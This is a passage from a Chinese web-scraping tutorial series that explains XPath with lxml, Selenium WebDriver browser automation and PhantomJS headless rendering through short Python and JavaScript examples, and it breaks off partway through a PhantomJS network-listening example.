    从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置。

    .

    选取当前节点。

    ..

    选取当前节点的父节点。

    @

    选取属性。

    实例 在下面的表格中,我们已列出了一些路径表达式以及表达式的结果:

    路径表达式

    结果

    bookstore

    选取 bookstore 元素的所有子节点。

    /bookstore

    选取根元素 bookstore。注释:假如路径起始于正斜杠( / ),则此路径始终代表到某元素的绝对路径!

    bookstore/book

    选取属于 bookstore 的子元素的所有 book 元素。

    //book

    选取所有 book 子元素,而不管它们在文档中的位置。

    bookstore//book

    选择属于 bookstore 元素的后代的所有 book 元素,而不管它们位于 bookstore 之下的什么位置。

    //@lang

    选取名为 lang 的所有属性。

    谓语(Predicates)

    谓语用来查找某个特定的节点或者包含某个指定的值的节点。 谓语被嵌在方括号中。 实例 在下面的表格中,我们列出了带有谓语的一些路径表达式,以及表达式的结果:

    路径表达式

    结果

    /bookstore/book[1]

    选取属于 bookstore 子元素的第一个 book 元素。

    /bookstore/book[last()]

    选取属于 bookstore 子元素的最后一个 book 元素。

    /bookstore/book[last()-1]

    选取属于 bookstore 子元素的倒数第二个 book 元素。

    /bookstore/book[position()<3]

    选取最前面的两个属于 bookstore 元素的子元素的 book 元素。

    //title[@lang]

    选取所有拥有名为 lang 的属性的 title 元素。

    //title[@lang=’eng’]

    选取所有 title 元素,且这些元素拥有值为 eng 的 lang 属性。

    /bookstore/book[price>35.00]

    选取 bookstore 元素的所有 book 元素,且其中的 price 元素的值须大于 35.00。

    /bookstore/book[price>35.00]/title

    选取 bookstore 元素中的 book 元素的所有 title 元素,且其中的 price 元素的值须大于 35.00。

    选取未知节点

    XPath 通配符可用来选取未知的 XML 元素。

    通配符

    描述

    *

    匹配任何元素节点。

    @*

    匹配任何属性节点。

    node()

    匹配任何类型的节点。

    实例 在下面的表格中,我们列出了一些路径表达式,以及这些表达式的结果:

    路径表达式

    结果

    /bookstore/*

    选取 bookstore 元素的所有子元素。

    //*

    选取文档中的所有元素。

    //title[@*]

    选取所有带有属性的 title 元素。

    选取若干路径

    通过在路径表达式中使用“|”运算符,您可以选取若干个路径。 实例 在下面的表格中,我们列出了一些路径表达式,以及这些表达式的结果:

    路径表达式

    结果

    //book/title | //book/price

    选取 book 元素的所有 title 和 price 元素。

    //title | //price

    选取文档中的所有 title 和 price 元素。

    /bookstore/book/title | //price

    选取属于 bookstore 元素的 book 元素的所有 title 元素,以及文档中所有的 price 元素。

    XPath 运算符

    下面列出了可用在 XPath 表达式中的运算符:

    运算符

    描述

    实例

    返回值

    |

    计算两个节点集

    //book | //cd

    返回所有拥有 book 和 cd 元素的节点集

    +

    加法

    6 + 4

    10

    -

    减法

    6 - 4

    2

    *

    乘法

    6 * 4

    24

    div

    除法

    8 div 4

    2

    \=

    等于

    price=9.80

    如果 price 是 9.80,则返回 true。如果 price 是 9.90,则返回 false。

    !=

    不等于

    price!=9.80

    如果 price 是 9.90,则返回 true。如果 price 是 9.80,则返回 false。

    <

    小于

    price<9.80

    如果 price 是 9.00,则返回 true。如果 price 是 9.90,则返回 false。

    <=

    小于或等于

    price<=9.80

    如果 price 是 9.00,则返回 true。如果 price 是 9.90,则返回 false。

    >

    大于

    price>9.80

    如果 price 是 9.90,则返回 true。如果 price 是 9.80,则返回 false。

    >=

    大于或等于

    price>=9.80

    如果 price 是 9.90,则返回 true。如果 price 是 9.70,则返回 false。

    or

    price=9.80 or price=9.70

    如果 price 是 9.80,则返回 true。如果 price 是 9.50,则返回 false。

    and

    price>9.00 and price<9.90

    如果 price 是 9.80,则返回 true。如果 price 是 8.50,则返回 false。

    mod

    计算除法的余数

    5 mod 2

    1

    lxml用法

    初步使用

    首先我们利用它来解析 HTML 代码,先来一个小例子来感受一下它的基本用法。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    from lxml import etree
    text = '''
    <div>
    <ul>
    <li class="item-0"><a href="link1.html">first item</a></li>
    <li class="item-1"><a href="link2.html">second item</a></li>
    <li class="item-inactive"><a href="link3.html">third item</a></li>
    <li class="item-1"><a href="link4.html">fourth item</a></li>
    <li class="item-0"><a href="link5.html">fifth item</a>
    </ul>
    </div>
    '''
    html = etree.HTML(text)
    result = etree.tostring(html)
    print(result)

    首先我们使用 lxml 的 etree 库,然后利用 etree.HTML 初始化,然后我们将其打印出来。 其中,这里体现了 lxml 的一个非常实用的功能就是自动修正 html 代码,大家应该注意到了,最后一个 li 标签,其实我把尾标签删掉了,是不闭合的。不过,lxml 因为继承了 libxml2 的特性,具有自动修正 HTML 代码的功能。 所以输出结果是这样的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <html><body>
    <div>
    <ul>
    <li class="item-0"><a href="link1.html">first item</a></li>
    <li class="item-1"><a href="link2.html">second item</a></li>
    <li class="item-inactive"><a href="link3.html">third item</a></li>
    <li class="item-1"><a href="link4.html">fourth item</a></li>
    <li class="item-0"><a href="link5.html">fifth item</a></li>
    </ul>
    </div>

    </body></html>

    不仅补全了 li 标签,还添加了 body,html 标签。

    文件读取

    除了直接读取字符串,还支持从文件读取内容。比如我们新建一个文件叫做 hello.html,内容为

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <div>
    <ul>
    <li class="item-0"><a href="link1.html">first item</a></li>
    <li class="item-1"><a href="link2.html">second item</a></li>
    <li class="item-inactive"><a href="link3.html"><span class="bold">third item</span></a></li>
    <li class="item-1"><a href="link4.html">fourth item</a></li>
    <li class="item-0"><a href="link5.html">fifth item</a></li>
    </ul>
    </div>

    利用 parse 方法来读取文件。

    1
    2
    3
    4
    from lxml import etree
    html = etree.parse('hello.html')
    result = etree.tostring(html, pretty_print=True)
    print(result)

    同样可以得到相同的结果。

    XPath实例测试

    依然以上一段程序为例 (1)获取所有的

  • 标签

    1
    2
    3
    4
    5
    6
    7
    8
    from lxml import etree
    html = etree.parse('hello.html')
    print type(html)
    result = html.xpath('//li')
    print result
    print len(result)
    print type(result)
    print type(result[0])

    运行结果

    1
    2
    3
    4
    5
    <type 'lxml.etree._ElementTree'>
    [<Element li at 0x1014e0e18>, <Element li at 0x1014e0ef0>, <Element li at 0x1014e0f38>, <Element li at 0x1014e0f80>, <Element li at 0x1014e0fc8>]
    5
    <type 'list'>
    <type 'lxml.etree._Element'>

    可见,etree.parse 的类型是 ElementTree,通过调用 xpath 以后,得到了一个列表,包含了 5 个

  • 元素,每个元素都是 Element 类型 (2)获取
  • 标签的所有 class

    1
    2
    result = html.xpath('//li/@class')
    print result

    运行结果

    1
    ['item-0', 'item-1', 'item-inactive', 'item-1', 'item-0']

    (3)获取

  • 标签下 href 为 link1.html 的 标签

    1
    2
    result = html.xpath('//li/a[@href="link1.html"]')
    print result

    运行结果

    1
    [<Element a at 0x10ffaae18>]

    (4)获取

  • 标签下的所有 标签 注意这么写是不对的

    1
    result = html.xpath('//li/span')

    因为 / 是用来获取子元素的,而 并不是

  • 的子元素,所以,要用双斜杠

    1
    2
    result = html.xpath('//li//span')
    print result

    运行结果

    1
    [<Element span at 0x10d698e18>]

    (5)获取

  • 标签下的所有 class,不包括
  • 1
    2
    result = html.xpath('//li/a//@class')
    print result

    运行结果

    1
    ['blod']

    (6)获取最后一个

  • 的 href

    1
    2
    result = html.xpath('//li[last()]/a/@href')
    print result

    运行结果

    1
    ['link5.html']

    (7)获取倒数第二个元素的内容

    1
    2
    result = html.xpath('//li[last()-1]/a')
    print result[0].text

    运行结果

    1
    fourth item

    (8)获取 class 为 bold 的标签名

    1
    2
    result = html.xpath('//*[@class="bold"]')
    print result[0].tag

    运行结果

    1
    span

    通过以上实例的练习,相信大家对 XPath 的基本用法有了基本的了解。也可以利用 text 方法来获取元素的内容。 大家多加练习!

    结语

    XPath 是一个非常好用的解析方法,同时也作为爬虫学习的基础,在后面的 selenium 以及 scrapy 框架中都会涉及到这部分知识,希望大家可以把它的语法掌握清楚,为后面的深入研究做好铺垫。

  • Python

    2022 年最新 Python3 网络爬虫教程

    大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

    博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

    最新教程对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

    教程请移步:

    【2022 版】Python3 网络爬虫学习教程

    如下为原文。

    前言

    在上一节我们学习了 PhantomJS 的基本用法,归根结底它是一个没有界面的浏览器,而且运行的是 JavaScript 脚本,然而这就能写爬虫了吗?这又和Python有什么关系?说好的Python爬虫呢?库都学完了你给我看这个?客官别急,接下来我们介绍的这个工具,统统解决掉你的疑惑。

    简介

    Selenium 是什么?一句话,自动化测试工具。它支持各种浏览器,包括 Chrome,Safari,Firefox 等主流界面式浏览器,如果你在这些浏览器里面安装一个 Selenium 的插件,那么便可以方便地实现Web界面的测试。换句话说叫 Selenium 支持这些浏览器驱动。话说回来,PhantomJS不也是一个浏览器吗,那么 Selenium 支持不?答案是肯定的,这样二者便可以实现无缝对接了。 然后又有什么好消息呢?Selenium支持多种语言开发,比如 Java,C,Ruby等等,有 Python 吗?那是必须的!哦这可真是天大的好消息啊。 嗯,所以呢?安装一下 Python 的 Selenium 库,再安装好 PhantomJS,不就可以实现 Python+Selenium+PhantomJS 的无缝对接了嘛!PhantomJS 用来渲染解析JS,Selenium 用来驱动以及与 Python 的对接,Python 进行后期的处理,完美的三剑客! 有人问,为什么不直接用浏览器而用一个没界面的 PhantomJS 呢?答案是:效率高! Selenium 有两个版本,目前最新版本是 2.53.1(2016/3/22)

    Selenium 2,又名 WebDriver,它的主要新功能是集成了 Selenium 1.0 以及 WebDriver(WebDriver 曾经是 Selenium 的竞争对手)。也就是说 Selenium 2 是 Selenium 和 WebDriver 两个项目的合并,即 Selenium 2 兼容 Selenium,它既支持 Selenium API 也支持 WebDriver API。

    更多详情可以查看 Webdriver 的简介。 Webdriver 嗯,通过以上描述,我们应该对 Selenium 有了大概对认识,接下来就让我们开始进入动态爬取的新世界吧。 本文参考内容来自 Selenium官网 SeleniumPython文档

    安装

    首先安装 Selenium

    1
    pip install selenium

    或者下载源码 下载源码 然后解压后运行下面的命令进行安装

    1
    python setup.py install

    安装好了之后我们便开始探索抓取方法了。

    快速开始

    初步体验

    我们先来一个小例子感受一下 Selenium,这里我们用 Chrome 浏览器来测试,方便查看效果,到真正爬取的时候换回 PhantomJS 即可。

    1
    2
    3
    4
    from selenium import webdriver

    browser = webdriver.Chrome()
    browser.get('http://www.baidu.com/')

    运行这段代码,会自动打开浏览器,然后访问百度。 如果程序执行错误,浏览器没有打开,那么应该是没有装 Chrome 浏览器或者 Chrome 驱动没有配置在环境变量里。下载驱动,然后将驱动文件路径配置在环境变量即可。 浏览器驱动下载 比如我的是 Mac OS,就把下载好的文件放在 /usr/bin 目录下就可以了。

    模拟提交

    下面的代码实现了模拟提交提交搜索的功能,首先等页面加载完成,然后输入到搜索框文本,点击提交。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    from selenium import webdriver
    from selenium.webdriver.common.keys import Keys

    driver = webdriver.Chrome()
    driver.get("http://www.python.org")
    assert "Python" in driver.title
    elem = driver.find_element_by_name("q")
    elem.send_keys("pycon")
    elem.send_keys(Keys.RETURN)
    print driver.page_source

    同样是在 Chrome 里面测试,感受一下。

    The driver.get method will navigate to a page given by the URL. WebDriver will wait until the page has fully loaded (that is, the “onload” event has fired) before returning control to your test or script. It’s worth noting that if your page uses a lot of AJAX on load then WebDriver may not know when it has completely loaded.

    其中 driver.get 方法会打开请求的URL,WebDriver 会等待页面完全加载完成之后才会返回,即程序会等待页面的所有内容加载完成,JS渲染完毕之后才继续往下执行。注意:如果这里用到了特别多的 Ajax 的话,程序可能不知道是否已经完全加载完毕。

    WebDriver offers a number of ways to find elements using one of the findelement_by* methods. For example, the input text element can be located by its name attribute using find_element_by_name method

    WebDriver 提供了许多寻找网页元素的方法,譬如 findelement_by* 的方法。例如一个输入框可以通过 find_element_by_name 方法寻找 name 属性来确定。

    Next we are sending keys, this is similar to entering keys using your keyboard. Special keys can be send using Keys class imported from selenium.webdriver.common.keys

    然后我们输入来文本然后模拟点击了回车,就像我们敲击键盘一样。我们可以利用 Keys 这个类来模拟键盘输入。 最后最重要的一点 获取网页渲染后的源代码。 输出 page_source 属性即可。 这样,我们就可以做到网页的动态爬取了。

    测试用例

    有了以上特性,我们当然可以用来写测试样例了。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    import unittest
    from selenium import webdriver
    from selenium.webdriver.common.keys import Keys

    class PythonOrgSearch(unittest.TestCase):

    def setUp(self):
    self.driver = webdriver.Chrome()

    def test_search_in_python_org(self):
    driver = self.driver
    driver.get("http://www.python.org")
    self.assertIn("Python", driver.title)
    elem = driver.find_element_by_name("q")
    elem.send_keys("pycon")
    elem.send_keys(Keys.RETURN)
    assert "No results found." not in driver.page_source

    def tearDown(self):
    self.driver.close()

    if __name__ == "__main__":
    unittest.main()

    运行程序,同样的功能,我们将其封装为测试标准类的形式。

    The test case class is inherited from unittest.TestCase. Inheriting from TestCase class is the way to tell unittest module that this is a test case. The setUp is part of initialization, this method will get called before every test function which you are going to write in this test case class. The test case method should always start with characters test. The tearDown method will get called after every test method. This is a place to do all cleanup actions. You can also call quit method instead of close. The quit will exit the entire browser, whereas close will close a tab, but if it is the only tab opened, by default most browser will exit entirely.

    测试用例是继承了 unittest.TestCase 类,继承这个类表明这是一个测试类。setUp方法是初始化的方法,这个方法会在每个测试类中自动调用。每一个测试方法命名都有规范,必须以 test 开头,会自动执行。最后的 tearDown 方法会在每一个测试方法结束之后调用。这相当于最后的析构方法。在这个方法里写的是 close 方法,你还可以写 quit 方法。不过 close 方法相当于关闭了这个 TAB 选项卡,然而 quit 是退出了整个浏览器。当你只开启了一个 TAB 选项卡的时候,关闭的时候也会将整个浏览器关闭。

    页面操作

    页面交互

    仅仅抓取页面没有多大卵用,我们真正要做的是做到和页面交互,比如点击,输入等等。那么前提就是要找到页面中的元素。WebDriver提供了各种方法来寻找元素。例如下面有一个表单输入框。

    1
    <input type="text" name="passwd" id="passwd-id" />

    我们可以这样获取它

    1
    2
    3
    4
    element = driver.find_element_by_id("passwd-id")
    element = driver.find_element_by_name("passwd")
    element = driver.find_elements_by_tag_name("input")
    element = driver.find_element_by_xpath("//input[@id='passwd-id']")

    你还可以通过它的文本链接来获取,但是要小心,文本必须完全匹配才可以,所以这并不是一个很好的匹配方式。 而且你在用 xpath 的时候还需要注意的是,如果有多个元素匹配了 xpath,它只会返回第一个匹配的元素。如果没有找到,那么会抛出 NoSuchElementException 的异常。 获取了元素之后,下一步当然就是向文本输入内容了,可以利用下面的方法

    1
    element.send_keys("some text")

    同样你还可以利用 Keys 这个类来模拟点击某个按键。

    1
    element.send_keys("and some", Keys.ARROW_DOWN)

    你可以对任何获取到到元素使用 send_keys 方法,就像你在 GMail 里面点击发送键一样。不过这样会导致的结果就是输入的文本不会自动清除。所以输入的文本都会在原来的基础上继续输入。你可以用下面的方法来清除输入文本的内容。

    1
    element.clear()

    这样输入的文本会被清除。

    填充表单

    我们已经知道了怎样向文本框中输入文字,但是其它的表单元素呢?例如下拉选项卡的的处理可以如下

    1
    2
    3
    4
    5
    element = driver.find_element_by_xpath("//select[@name='name']")
    all_options = element.find_elements_by_tag_name("option")
    for option in all_options:
    print("Value is: %s" % option.get_attribute("value"))
    option.click()

    首先获取了第一个 select 元素,也就是下拉选项卡。然后轮流设置了 select 选项卡中的每一个 option 选项。你可以看到,这并不是一个非常有效的方法。 其实 WebDriver 中提供了一个叫 Select 的方法,可以帮助我们完成这些事情。

    1
    2
    3
    4
    5
    from selenium.webdriver.support.ui import Select
    select = Select(driver.find_element_by_name('name'))
    select.select_by_index(index)
    select.select_by_visible_text("text")
    select.select_by_value(value)

    如你所见,它可以根据索引来选择,可以根据值来选择,可以根据文字来选择。是十分方便的。 全部取消选择怎么办呢?很简单

    1
    2
    select = Select(driver.find_element_by_id('id'))
    select.deselect_all()

    这样便可以取消所有的选择。 另外我们还可以通过下面的方法获取所有的已选选项。

    1
    2
    select = Select(driver.find_element_by_xpath("xpath"))
    all_selected_options = select.all_selected_options

    获取所有可选选项是

    1
    options = select.options

    如果你把表单都填好了,最后肯定要提交表单对吧。怎吗提交呢?很简单

    1
    driver.find_element_by_id("submit").click()

    这样就相当于模拟点击了 submit 按钮,做到表单提交。 当然你也可以单独提交某个元素

    1
    element.submit()

    方法,WebDriver 会在表单中寻找它所在的表单,如果发现这个元素并没有被表单所包围,那么程序会抛出 NoSuchElementException 的异常。

    元素拖拽

    要完成元素的拖拽,首先你需要指定被拖动的元素和拖动目标元素,然后利用 ActionChains 类来实现。

    1
    2
    3
    4
    5
    6
    element = driver.find_element_by_name("source")
    target = driver.find_element_by_name("target")

    from selenium.webdriver import ActionChains
    action_chains = ActionChains(driver)
    action_chains.drag_and_drop(element, target).perform()

    这样就实现了元素从 source 拖动到 target 的操作。

    页面切换

    一个浏览器肯定会有很多窗口,所以我们肯定要有方法来实现窗口的切换。切换窗口的方法如下

    1
    driver.switch_to_window("windowName")

    另外你可以使用 window_handles 方法来获取每个窗口的操作对象。例如

    1
    2
    for handle in driver.window_handles:
    driver.switch_to_window(handle)

    另外切换 frame 的方法如下

    1
    driver.switch_to_frame("frameName.0.child")

    这样焦点会切换到一个 name 为 child 的 frame 上。

    弹窗处理

    当你出发了某个事件之后,页面出现了弹窗提示,那么你怎样来处理这个提示或者获取提示信息呢?

    1
    alert = driver.switch_to_alert()

    通过上述方法可以获取弹窗对象。

    历史记录

    那么怎样来操作页面的前进和后退功能呢?

    1
    2
    driver.forward()
    driver.back()

    嗯,简洁明了。

    Cookies处理

    为页面添加 Cookies,用法如下

    1
    2
    3
    4
    5
    6
    # Go to the correct domain
    driver.get("http://www.example.com")

    # Now set the cookie. This one's valid for the entire domain
    cookie = {‘name’ : ‘foo’, ‘value’ : ‘bar’}
    driver.add_cookie(cookie)

    获取页面 Cookies,用法如下

    1
    2
    3
    4
    5
    # Go to the correct domain
    driver.get("http://www.example.com")

    # And now output all the available cookies for the current URL
    driver.get_cookies()

    以上便是 Cookies 的处理,同样是非常简单的。

    元素选取

    关于元素的选取,有如下的API 单个元素选取

    • find_element_by_id
    • find_element_by_name
    • find_element_by_xpath
    • find_element_by_link_text
    • find_element_by_partial_link_text
    • find_element_by_tag_name
    • find_element_by_class_name
    • find_element_by_css_selector

    多个元素选取

    • find_elements_by_name
    • find_elements_by_xpath
    • find_elements_by_link_text
    • find_elements_by_partial_link_text
    • find_elements_by_tag_name
    • find_elements_by_class_name
    • find_elements_by_css_selector

    另外还可以利用 By 类来确定哪种选择方式

    1
    2
    3
    4
    from selenium.webdriver.common.by import By

    driver.find_element(By.XPATH, '//button[text()="Some text"]')
    driver.find_elements(By.XPATH, '//button')

    By 类的一些属性如下

    1
    2
    3
    4
    5
    6
    7
    8
    ID = "id"
    XPATH = "xpath"
    LINK_TEXT = "link text"
    PARTIAL_LINK_TEXT = "partial link text"
    NAME = "name"
    TAG_NAME = "tag name"
    CLASS_NAME = "class name"
    CSS_SELECTOR = "css selector"

    更详细的元素选择方法参见官方文档 元素选择

    页面等待

    这是非常重要的一部分,现在的网页越来越多采用了 Ajax 技术,这样程序便不能确定何时某个元素完全加载出来了。这会让元素定位困难而且会提高产生 ElementNotVisibleException 的概率。 所以 Selenium 提供了两种等待方式,一种是隐式等待,一种是显式等待。 隐式等待是等待特定的时间,显式等待是指定某一条件直到这个条件成立时继续执行。

    显式等待

    显式等待指定某个条件,然后设置最长等待时间。如果在这个时间还没有找到元素,那么便会抛出异常了。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    from selenium import webdriver
    from selenium.webdriver.common.by import By
    from selenium.webdriver.support.ui import WebDriverWait
    from selenium.webdriver.support import expected_conditions as EC

    driver = webdriver.Chrome()
    driver.get("http://somedomain/url_that_delays_loading")
    try:
    element = WebDriverWait(driver, 10).until(
    EC.presence_of_element_located((By.ID, "myDynamicElement"))
    )
    finally:
    driver.quit()

    程序默认会 500ms 调用一次来查看元素是否已经生成,如果本来元素就是存在的,那么会立即返回。 下面是一些内置的等待条件,你可以直接调用这些条件,而不用自己写某些等待条件了。

    • title_is
    • title_contains
    • presence_of_element_located
    • visibility_of_element_located
    • visibility_of
    • presence_of_all_elements_located
    • text_to_be_present_in_element
    • text_to_be_present_in_element_value
    • frame_to_be_available_and_switch_to_it
    • invisibility_of_element_located
    • element_to_be_clickable - it is Displayed and Enabled.
    • staleness_of
    • element_to_be_selected
    • element_located_to_be_selected
    • element_selection_state_to_be
    • element_located_selection_state_to_be
    • alert_is_present
    1
    2
    3
    4
    from selenium.webdriver.support import expected_conditions as EC

    wait = WebDriverWait(driver, 10)
    element = wait.until(EC.element_to_be_clickable((By.ID,'someid')))

    隐式等待

    隐式等待比较简单,就是简单地设置一个等待时间,单位为秒。

    1
    2
    3
    4
    5
    6
    from selenium import webdriver

    driver = webdriver.Chrome()
    driver.implicitly_wait(10) # seconds
    driver.get("http://somedomain/url_that_delays_loading")
    myDynamicElement = driver.find_element_by_id("myDynamicElement")

    当然如果不设置,默认等待时间为0。

    程序框架

    对于页面测试和分析,官方提供了一个比较明晰的代码结构,可以参考。 页面测试架构

    API

    到最后,肯定是放松最全最重要的API了,比较多,希望大家可以多加练习。 API

    结语

    以上就是 Selenium 的基本用法,我们讲解了页面交互,页面渲染之后的源代码的获取。这样,即使页面是 JS 渲染而成的,我们也可以手到擒来了。就是这么溜!

    Python

    2022 年最新 Python3 网络爬虫教程

    大家好,我是崔庆才,由于爬虫技术不断迭代升级,一些旧的教程已经过时、案例已经过期,最前沿的爬虫技术比如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等技术层出不穷,我最近新出了一套最新最全面的 Python3 网络爬虫系列教程。

    博主自荐:截止 2022 年,可以将最前沿最全面的爬虫技术都涵盖的教程,如异步、JavaScript 逆向、安卓逆向、智能解析、WebAssembly、大规模分布式、Kubernetes 等,市面上目前就这一套了。

    最新教程对旧的爬虫技术内容进行了全面更新,搭建了全新的案例平台进行全面讲解,保证案例稳定有效不过期。

    教程请移步:

    【2022 版】Python3 网络爬虫学习教程

    如下为原文。

    前言

    大家有没有发现之前我们写的爬虫都有一个共性,就是只能爬取单纯的 html 代码,如果页面是 JS 渲染的该怎么办呢?如果我们单纯去分析一个个后台的请求,手动去摸索 JS 渲染的到的一些结果,那简直没天理了。所以,我们需要有一些好用的工具来帮助我们像浏览器一样渲染 JS 处理的页面。 其中有一个比较常用的工具,那就是 PhantomJS

    Full web stack No browser required

    PhantomJS is a headless WebKit scriptable with a JavaScript API. It has fast andnative support for various web standards: DOM handling, CSS selector, JSON, Canvas, and SVG.

    PhantomJS 是一个无界面的,可脚本编程的 WebKit 浏览器引擎。它原生支持多种 web 标准:DOM 操作,CSS 选择器,JSON,Canvas 以及 SVG。 好,接下来我们就一起来了解一下这个神奇好用的库的用法吧。

    安装

    PhantomJS 安装方法有两种,一种是下载源码之后自己来编译,另一种是直接下载编译好的二进制文件。然而自己编译需要的时间太长,而且需要挺多的磁盘空间。官方推荐直接下载二进制文件然后安装。 大家可以依照自己的开发平台选择不同的包进行下载 下载地址 当然如果你不嫌麻烦,可以选择 下载源码 然后自己编译。 目前(2016/3/21)最新发行版本是 v2.1, 安装完成之后命令行输入

    1
    phantomjs -v

    如果正常显示版本号,那么证明安装成功了。如果提示错误,那么请重新安装。 本文介绍大部分内容来自于官方文档,博主对其进行了整理,学习更多请参考 官方文档

    快速开始

    第一个程序

    第一个程序当然是 Hello World,新建一个 js 文件。命名为 helloworld.js

    1
    2
    console.log('Hello, world!');
    phantom.exit();

    命令行输入

    1
    phantomjs helloworld.js

    程序输出了 Hello,world!程序第二句话终止了 phantom 的执行。 注意:phantom.exit();这句话非常重要,否则程序将永远不会终止。

    页面加载

    可以利用 phantom 来实现页面的加载,下面的例子实现了页面的加载并将页面保存为一张图片。

    1
    2
    3
    4
    5
    6
    7
    8
    var page = require('webpage').create();
    page.open('http://cuiqingcai.com', function (status) {
    console.log("Status: " + status);
    if (status === "success") {
    page.render('example.png');
    }
    phantom.exit();
    });

    首先创建了一个 webpage 对象,然后加载本站点主页,判断响应状态,如果成功,那么保存截图为 example.png 以上代码命名为 pageload.js,命令行

    1
    phantomjs pageload.js

    发现执行成功,然后目录下多了一张图片,example.png example 因为这个 render 方法,phantom 经常会用到网页截图的功能。

    测试页面加载速度

    下面这个例子计算了一个页面的加载速度,同时还用到了命令行传参的特性。新建文件保存为 loadspeed.js

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    var page = require('webpage').create(),
    system = require('system'),
    t, address;

    if (system.args.length === 1) {
    console.log('Usage: loadspeed.js <some URL>');
    phantom.exit();
    }

    t = Date.now();
    address = system.args[1];
    page.open(address, function(status) {
    if (status !== 'success') {
    console.log('FAIL to load the address');
    } else {
    t = Date.now() - t;
    console.log('Loading ' + system.args[1]);
    console.log('Loading time ' + t + ' msec');
    }
    phantom.exit();
    });

    程序判断了参数的多少,如果参数不够,那么终止运行。然后记录了打开页面的时间,请求页面之后,再纪录当前时间,二者之差就是页面加载速度。

    1
    phantomjs loadspeed.js http://cuiqingcai.com

    运行结果

    1
    2
    Loading http://cuiqingcai.com
    Loading time 11678 msec

    这个时间包括 JS 渲染的时间,当然和网速也有关。

    代码评估

    To evaluate JavaScript code in the context of the web page, use evaluate() function. The execution is “sandboxed”, there is no way for the code to access any JavaScript objects and variables outside its own page context. An object can be returned from evaluate(), however it is limited to simple objects and can’t contain functions or closures.

    利用 evaluate 方法我们可以获取网页的源代码。这个执行是“沙盒式”的,它不会去执行网页外的 JavaScript 代码。evalute 方法可以返回一个对象,然而返回值仅限于对象,不能包含函数(或闭包)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    var url = 'http://www.baidu.com';
    var page = require('webpage').create();
    page.open(url, function(status) {
    var title = page.evaluate(function() {
    return document.title;
    });
    console.log('Page title is ' + title);
    phantom.exit();
    });

    以上代码获取了百度的网站标题。

    1
    Page title is 百度一下,你就知道

    任何来自于网页并且包括来自 evaluate() 内部代码的控制台信息,默认不会显示。 需要重写这个行为,使用 onConsoleMessage 回调函数,示例可以改写成

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    var url = 'http://www.baidu.com';
    var page = require('webpage').create();
    page.onConsoleMessage = function (msg) {
    console.log(msg);
    };
    page.open(url, function (status) {
    page.evaluate(function () {
    console.log(document.title);
    });
    phantom.exit();
    });

    这样的话,如果你用浏览器打开百度首页,打开调试工具的 console,可以看到控制台输出信息。 重写了 onConsoleMessage 方法之后,可以发现控制台输出的结果和我们需要输出的标题都打印出来了。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    一张网页,要经历怎样的过程,才能抵达用户面前?
    一位新人,要经历怎样的成长,才能站在技术之巅?
    探寻这里的秘密;
    体验这里的挑战;
    成为这里的主人;
    加入百度,加入网页搜索,你,可以影响世界。

    请将简历发送至 %c ps_recruiter@baidu.com( 邮件标题请以“姓名-应聘XX职位-来自console”命名) color:red
    职位介绍:http://dwz.cn/hr2013
    百度一下,你就知道

    啊,我没有在为百度打广告!

    屏幕捕获

    Since PhantomJS is using WebKit, a real layout and rendering engine, it can capture a web page as a screenshot. Because PhantomJS can render anything on the web page, it can be used to convert contents not only in HTML and CSS, but also SVG and Canvas.

    因为 PhantomJS 使用了 WebKit 内核,是一个真正的布局和渲染引擎,它可以像屏幕截图一样捕获一个 web 界面。因为它可以渲染网页中的人和元素,所以它不仅用到 HTML,CSS 的内容转化,还用在 SVG,Canvas。可见其功能是相当强大的。 下面的例子就捕获了 github 网页的截图。上文有类似内容,不再演示。

    1
    2
    3
    4
    5
    var page = require('webpage').create();
    page.open('http://github.com/', function() {
    page.render('github.png');
    phantom.exit();
    });

    除了 png 格式的转换,PhantomJS 还支持 jpg,gif,pdf 等格式。 测试样例 其中最重要的方法便是 viewportSize 和 clipRect 属性。 viewportSize 是视区的大小,你可以理解为你打开了一个浏览器,然后把浏览器窗口拖到了多大。 clipRect 是裁切矩形的大小,需要四个参数,前两个是基准点,后两个参数是宽高。 通过下面的小例子感受一下。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    var page = require('webpage').create();
    //viewportSize being the actual size of the headless browser
    page.viewportSize = { width: 1024, height: 768 };
    //the clipRect is the portion of the page you are taking a screenshot of
    page.clipRect = { top: 0, left: 0, width: 1024, height: 768 };
    //the rest of the code is the same as the previous example
    page.open('http://cuiqingcai.com/', function() {
    page.render('germy.png');
    phantom.exit();
    });

    运行结果 germy 就相当于把浏览器窗口拖到了 1024x768 大小,然后从左上角裁切出了 1024x768 的页面。

    网络监听

    Because PhantomJS permits the inspection of network traffic, it is suitable to build various analysis on the network behavior and performance.

    因为 PhantomJS 有网络通信的检查功能,它也很适合用来做网络行为的分析。

    When a page requests a resource from a remote server, both the request and the response can be tracked via onResourceRequested and onResourceReceived callback.

    当接受到请求时,可以通过改写 onResourceRequested 和 onResourceReceived 回调函数来实现接收到资源请求和资源接受完毕的监听。例如

    1
    2
    3
    4
    5
    6
    7
    8
    9
    var url = 'http://www.cuiqingcai.com';
    var page = require('webpage').create();
    page.onResourceRequested = function(request) {
